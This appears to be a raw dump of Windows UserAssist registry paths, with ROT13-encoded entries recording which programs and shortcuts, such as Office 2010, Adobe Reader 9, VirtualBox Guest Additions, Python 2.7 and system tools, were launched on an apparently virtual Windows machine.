HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{6Q809377-6NS0-444O-8957-N3773S02200R}\Benpyr\IveghnyObk Thrfg Nqqvgvbaf\IObkQeiVafg.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{S38OS404-1Q43-42S2-9305-67QR0O28SP23}\ertrqvg.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\\IOBKFIE\Qbjaybnqf\9.0_NqorEqe90_ra_HF.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{1NP14R77-02R7-4R5Q-O744-2RO1NR5198O7}\zfvrkrp.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\Zvpebfbsg.Jvaqbjf.JvaqbjfVafgnyyre
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\P:\Hfref\hfre\Qrfxgbc\CVY-1.1.7.jva32-cl2.7.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\P:\Hfref\hfre\Qrfxgbc\wqx-7-jvaqbjf-v586.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\Zvpebfbsg.VagreargRkcybere.Qrsnhyg
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{N77S5Q77-2R2O-44P3-N6N2-NON601054N51}\Npprffbevrf\Npprffvovyvgl\Zntavsl.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\Q:\frghc.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\Q:\IObkJvaqbjfNqqvgvbaf.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{1NP14R77-02R7-4R5Q-O744-2RO1NR5198O7}\HfreNppbhagPbagebyFrggvatf.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{1NP14R77-02R7-4R5Q-O744-2RO1NR5198O7}\erxrljvm.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{1NP14R77-02R7-4R5Q-O744-2RO1NR5198O7}\zzp.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{1NP14R77-02R7-4R5Q-O744-2RO1NR5198O7}\fyhv.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{1NP14R77-02R7-4R5Q-O744-2RO1NR5198O7}\frgup.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{1NP14R77-02R7-4R5Q-O744-2RO1NR5198O7}\FlfgrzCebcregvrfNqinaprq.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\P:\Hfref\hfre\Qrfxgbc\AQC451-XO2858728-k86-k64-NyyBF-RAH.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{N77S5Q77-2R2O-44P3-N6N2-NON601054N51}\Npprffbevrf\Npprffvovyvgl\Aneengbe.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{7P5N40RS-N0SO-4OSP-874N-P0S2R0O9SN8R}\Zvpebfbsg Bssvpr\Bssvpr14\JVAJBEQ.RKR
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{7P5N40RS-N0SO-4OSP-874N-P0S2R0O9SN8R}\Zvpebfbsg Bssvpr\Bssvpr14\RKPRY.RKR
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{7P5N40RS-N0SO-4OSP-874N-P0S2R0O9SN8R}\Zvpebfbsg Bssvpr\Bssvpr14\BHGYBBX.RKR
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{7P5N40RS-N0SO-4OSP-874N-P0S2R0O9SN8R}\Zvpebfbsg Bssvpr\Bssvpr14\CBJRECAG.RKR
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{7P5N40RS-N0SO-4OSP-874N-P0S2R0O9SN8R}\Zvpebfbsg Bssvpr\Bssvpr14\BARABGR.RKR
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{7P5N40RS-N0SO-4OSP-874N-P0S2R0O9SN8R}\Nqbor\Ernqre 9.0\Ernqre\NpebEq32.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{6Q809377-6NS0-444O-8957-N3773S02200R}\Benpyr\IveghnyObk Thrfg Nqqvgvbaf\havafg.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\P:\Hfref\hfre\NccQngn\Ybpny\Grzc\~afh.gzc\Nh_.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{1NP14R77-02R7-4R5Q-O744-2RO1NR5198O7}\jvaire.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{N77S5Q77-2R2O-44P3-N6N2-NON601054N51}\Npprffbevrf\Npprffvovyvgl\Ba-Fperra Xrlobneq.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\P:\Clguba27\clgubaj.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\Zvpebfbsg.NhgbTrarengrq.{7SR8Q22N-SO1Q-N8OR-01R3-6P8693961R6R}
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\Zvpebfbsg.VagreargRkcybere.64Ovg
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{1NP14R77-02R7-4R5Q-O744-2RO1NR5198O7}\pzq.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\P:\Hfref\hfre\Qbjaybnqf\Nhgbehaf64.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\Zvpebfbsg.NhgbTrarengrq.{P1P6S8NP-40N3-0S5P-146S-65N9QP70OOO4}
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{N77S5Q77-2R2O-44P3-N6N2-NON601054N51}\Npprffbevrf\Flfgrz Gbbyf\Cevingr Punenpgre Rqvgbe.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Npebong.pbz.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Nqbor Ernqre 9.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Npprffbevrf\Jrypbzr Pragre.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Npprffbevrf\qvfcynlfjvgpu.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Npprffbevrf\Pnyphyngbe.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Npprffbevrf\Fgvpxl Abgrf.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Npprffbevrf\Favccvat Gbby.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Npprffbevrf\Cnvag.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Zrqvn Pragre.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\KCF Ivrjre.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Jvaqbjf Snk naq Fpna.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Npprffbevrf\Erzbgr Qrfxgbc Pbaarpgvba.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Nqzvavfgengvir Gbbyf\freivprf.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Zvpebfbsg Bssvpr\Zvpebfbsg Jbeq 2010.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Zvpebfbsg Bssvpr\Zvpebfbsg Rkpry 2010.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Zvpebfbsg Bssvpr\Zvpebfbsg Bhgybbx 2010.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Zvpebfbsg Bssvpr\Zvpebfbsg CbjreCbvag 2010.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Zvpebfbsg Bssvpr\Zvpebfbsg BarAbgr 2010.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Fvqrone.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{N77S5Q77-2R2O-44P3-N6N2-NON601054N51}\Benpyr IZ IveghnyObk Thrfg Nqqvgvbaf\Havafgnyy.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Npprffbevrf\Flfgrz Gbbyf\Gnfx Fpurqhyre.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Jvaqbjf Nalgvzr Hctenqr.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Jvaqbjf QIQ Znxre.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Jvaqbjf Zrqvn Cynlre.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Npprffbevrf\Zngu Vachg Cnary.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Npprffbevrf\Zbovyvgl Pragre.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Npprffbevrf\ArgjbexCebwrpgvba.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Npprffbevrf\Fbhaq Erpbeqre.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Npprffbevrf\Flap Pragre.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Npprffbevrf\Jbeqcnq.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Npprffbevrf\Npprffvovyvgl\Fcrrpu Erpbtavgvba.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Npprffbevrf\Flfgrz Gbbyf\Punenpgre Znc.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Npprffbevrf\Flfgrz Gbbyf\qsethv.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Npprffbevrf\Flfgrz Gbbyf\Qvfx Pyrnahc.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Npprffbevrf\Flfgrz Gbbyf\Erfbhepr Zbavgbe.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Npprffbevrf\Flfgrz Gbbyf\Flfgrz Vasbezngvba.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Npprffbevrf\Flfgrz Gbbyf\Flfgrz Erfgber.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Npprffbevrf\Flfgrz Gbbyf\Jvaqbjf Rnfl Genafsre Ercbegf.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Npprffbevrf\Flfgrz Gbbyf\Jvaqbjf Rnfl Genafsre.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Npprffbevrf\Gnoyrg CP\FuncrPbyyrpgbe.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Npprffbevrf\Gnoyrg CP\GnoGvc.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Npprffbevrf\Gnoyrg CP\Jvaqbjf Wbheany.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Npprffbevrf\Jvaqbjf CbjreFuryy\Jvaqbjf CbjreFuryy (k86).yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Npprffbevrf\Jvaqbjf CbjreFuryy\Jvaqbjf CbjreFuryy VFR (k86).yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Npprffbevrf\Jvaqbjf CbjreFuryy\Jvaqbjf CbjreFuryy VFR.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Npprffbevrf\Jvaqbjf CbjreFuryy\Jvaqbjf CbjreFuryy.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Nqzvavfgengvir Gbbyf\Pbzcbarag Freivprf.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Nqzvavfgengvir Gbbyf\Pbzchgre Znantrzrag.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Nqzvavfgengvir Gbbyf\Qngn Fbheprf (BQOP).yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Nqzvavfgengvir Gbbyf\Rirag Ivrjre.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Nqzvavfgengvir Gbbyf\vFPFV Vavgvngbe.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Nqzvavfgengvir Gbbyf\Zrzbel Qvntabfgvpf Gbby.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Nqzvavfgengvir Gbbyf\Cresbeznapr Zbavgbe.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Nqzvavfgengvir Gbbyf\Cevag Znantrzrag.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Nqzvavfgengvir Gbbyf\Frphevgl Pbasvthengvba Znantrzrag.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Nqzvavfgengvir Gbbyf\Flfgrz Pbasvthengvba.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Nqzvavfgengvir Gbbyf\Gnfx Fpurqhyre.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Nqzvavfgengvir Gbbyf\Jvaqbjf Sverjnyy jvgu Nqinaprq Frphevgl.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Nqzvavfgengvir Gbbyf\Jvaqbjf CbjreFuryy Zbqhyrf.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Znvagranapr\Perngr Erpbirel Qvfp.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Znvagranapr\Erzbgr Nffvfgnapr.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Zvpebfbsg Bssvpr\Zvpebfbsg Bssvpr 2010 Gbbyf\Qvtvgny Pregvsvpngr sbe ION Cebwrpgf.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Zvpebfbsg Bssvpr\Zvpebfbsg Bssvpr 2010 Gbbyf\Zvpebfbsg Pyvc Betnavmre.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Zvpebfbsg Bssvpr\Zvpebfbsg Bssvpr 2010 Gbbyf\Zvpebfbsg Bssvpr 2010 Ynathntr Cersreraprf.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Zvpebfbsg Bssvpr\Zvpebfbsg Bssvpr 2010 Gbbyf\Zvpebfbsg Bssvpr 2010 Hcybnq Pragre.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Zvpebfbsg Bssvpr\Zvpebfbsg Bssvpr 2010 Gbbyf\Zvpebfbsg Bssvpr Cvpgher Znantre.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Zvpebfbsg Bssvpr\Zvpebfbsg Bssvpr 2010 Gbbyf\Bssvpr Nalgvzr Hctenqr.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Clguba 2.7\VQYR (Clguba THV).yax
